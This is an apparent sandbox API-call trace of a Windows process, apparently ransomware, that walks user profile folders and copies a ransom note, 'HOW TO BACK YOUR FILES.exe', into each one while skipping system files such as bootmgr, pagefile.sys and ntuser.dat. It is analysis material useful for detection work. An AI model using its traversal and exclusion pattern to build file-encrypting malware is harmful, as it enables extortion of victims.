	[0054.469] lstrcmpiW (lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="perflogs") returned -1
	[0054.469] lstrcmpiW (lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="MSBuild") returned -1
	[0054.469] lstrlenW (lpString="{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned 38
	[0054.469] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Identities\\*") returned 45
	[0054.469] lstrcpyW (in: lpString1=0x119e660, lpString2="{31810C36-5D23-4CCE-A3B4-316DED195C38}" | out: lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned="{31810C36-5D23-4CCE-A3B4-316DED195C38}"
	[0054.469] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ba8
	[0054.469] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x599530
	[0054.469] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7bb0 | out: ListHead=0x5b75f0, ListEntry=0x5b7bb0) returned 0x5b7a30
	[0054.469] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e5b5270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e5b5270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 0
	[0054.469] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0054.469] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7bb0
	[0054.469] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}"
	[0054.469] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599530 | out: hHeap=0x580000) returned 1
	[0054.469] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ba8 | out: hHeap=0x580000) returned 1
	[0054.469] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned 82
	[0054.469] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}"
	[0054.469] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.469] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\identities\\{31810c36-5d23-4cce-a3b4-316ded195c38}\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0054.470] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0054.470] GetLastError () returned 0x0
	[0054.470] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0054.470] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0054.470] CloseHandle (hObject=0x14c) returned 1
	[0054.470] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0054.470] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.470] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e5b5270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e5b5270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0054.470] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.470] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.470] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.470] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e5b5270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e5b5270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.471] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.471] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.471] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.471] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.471] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e5b5270, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e5b5270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0054.471] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0054.471] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e5b5270, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e5b5270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0054.471] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0054.471] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a30
	[0054.471] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\LocalLow", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\LocalLow") returned="C:\\Users\\Default\\AppData\\LocalLow"
	[0054.471] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdca8 | out: hHeap=0x580000) returned 1
	[0054.471] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a28 | out: hHeap=0x580000) returned 1
	[0054.471] lstrlenW (lpString="C:\\Users\\Default\\AppData\\LocalLow") returned 33
	[0054.471] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\LocalLow" | out: lpString1="C:\\Users\\Default\\AppData\\LocalLow") returned="C:\\Users\\Default\\AppData\\LocalLow"
	[0054.471] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.471] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\LocalLow\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\locallow\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0054.471] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0054.472] GetLastError () returned 0x0
	[0054.472] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0054.472] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0054.472] CloseHandle (hObject=0x14c) returned 1
	[0054.472] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0054.472] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.472] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e5b5270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e5b5270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0054.472] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.472] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.472] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.472] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e5b5270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e5b5270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.472] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.472] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.472] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.472] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.472] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e5b5270, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e5b5270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0054.472] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0054.472] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e5b5270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e5b5270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0054.472] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.472] lstrcmpiW (lpString1="Microsoft", lpString2="Apollon865.txt.exe") returned 1
	[0054.472] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1
	[0054.472] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1
	[0054.472] lstrcmpiW (lpString1="Microsoft", lpString2="windows") returned -1
	[0054.473] lstrcmpiW (lpString1="Microsoft", lpString2="bootmgr") returned 1
	[0054.473] lstrcmpiW (lpString1="Microsoft", lpString2="temp") returned -1
	[0054.473] lstrcmpiW (lpString1="Microsoft", lpString2="pagefile.sys") returned -1
	[0054.473] lstrcmpiW (lpString1="Microsoft", lpString2="boot") returned 1
	[0054.473] lstrcmpiW (lpString1="Microsoft", lpString2="ids.txt") returned 1
	[0054.473] lstrcmpiW (lpString1="Microsoft", lpString2="ntuser.dat") returned -1
	[0054.473] lstrcmpiW (lpString1="Microsoft", lpString2="perflogs") returned -1
	[0054.473] lstrcmpiW (lpString1="Microsoft", lpString2="MSBuild") returned -1
	[0054.473] lstrlenW (lpString="Microsoft") returned 9
	[0054.473] lstrlenW (lpString="C:\\Users\\Default\\AppData\\LocalLow\\*") returned 35
	[0054.473] lstrcpyW (in: lpString1=0x119e64c, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft"
	[0054.473] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a28
	[0054.473] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x58) returned 0x598408
	[0054.473] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a30 | out: ListHead=0x5b75f0, ListEntry=0x5b7a30) returned 0x5b7a10
	[0054.473] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e5b5270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e5b5270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0
	[0054.473] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0054.473] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a30
	[0054.473] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft") returned="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft"
	[0054.473] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598408 | out: hHeap=0x580000) returned 1
	[0054.473] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a28 | out: hHeap=0x580000) returned 1
	[0054.473] lstrlenW (lpString="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft") returned 43
	[0054.473] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft" | out: lpString1="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft") returned="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft"
	[0054.473] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.473] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0054.474] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0054.474] GetLastError () returned 0x0
	[0054.474] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0054.474] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0054.474] CloseHandle (hObject=0x14c) returned 1
	[0054.474] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0054.474] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.474] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e5b5270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e5b5270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0054.474] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.474] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.474] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.474] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e5b5270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e5b5270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.474] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.474] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.474] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.474] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.475] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e5db3d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e5db3d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CryptnetUrlCache", cAlternateFileName="CRYPTN~1")) returned 1
	[0054.475] lstrcmpiW (lpString1="CryptnetUrlCache", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.475] lstrcmpiW (lpString1="CryptnetUrlCache", lpString2="Apollon865.txt.exe") returned 1
	[0054.475] lstrcmpiW (lpString1="CryptnetUrlCache", lpString2=".") returned 1
	[0054.475] lstrcmpiW (lpString1="CryptnetUrlCache", lpString2="..") returned 1
	[0054.475] lstrcmpiW (lpString1="CryptnetUrlCache", lpString2="windows") returned -1
	[0054.475] lstrcmpiW (lpString1="CryptnetUrlCache", lpString2="bootmgr") returned 1
	[0054.475] lstrcmpiW (lpString1="CryptnetUrlCache", lpString2="temp") returned -1
	[0054.475] lstrcmpiW (lpString1="CryptnetUrlCache", lpString2="pagefile.sys") returned -1
	[0054.475] lstrcmpiW (lpString1="CryptnetUrlCache", lpString2="boot") returned 1
	[0054.475] lstrcmpiW (lpString1="CryptnetUrlCache", lpString2="ids.txt") returned -1
	[0054.475] lstrcmpiW (lpString1="CryptnetUrlCache", lpString2="ntuser.dat") returned -1
	[0054.475] lstrcmpiW (lpString1="CryptnetUrlCache", lpString2="perflogs") returned -1
	[0054.475] lstrcmpiW (lpString1="CryptnetUrlCache", lpString2="MSBuild") returned -1
	[0054.475] lstrlenW (lpString="CryptnetUrlCache") returned 16
	[0054.475] lstrlenW (lpString="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\*") returned 45
	[0054.475] lstrcpyW (in: lpString1=0x119e660, lpString2="CryptnetUrlCache" | out: lpString1="CryptnetUrlCache") returned="CryptnetUrlCache"
	[0054.475] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a28
	[0054.475] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf568
	[0054.475] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a30 | out: ListHead=0x5b75f0, ListEntry=0x5b7a30) returned 0x5b7a10
	[0054.475] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e5b5270, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e5b5270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0054.475] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0054.475] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e5b5270, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e5b5270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0054.475] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0054.475] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a30
	[0054.475] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache") returned="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache"
	[0054.475] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0054.475] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a28 | out: hHeap=0x580000) returned 1
	[0054.475] lstrlenW (lpString="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache") returned 60
	[0054.475] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache" | out: lpString1="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache") returned="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache"
	[0054.476] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.476] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0054.476] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0054.476] GetLastError () returned 0x0
	[0054.476] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0054.476] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0054.476] CloseHandle (hObject=0x14c) returned 1
	[0054.476] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0054.476] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.476] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e5db3d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e5db3d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0054.477] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
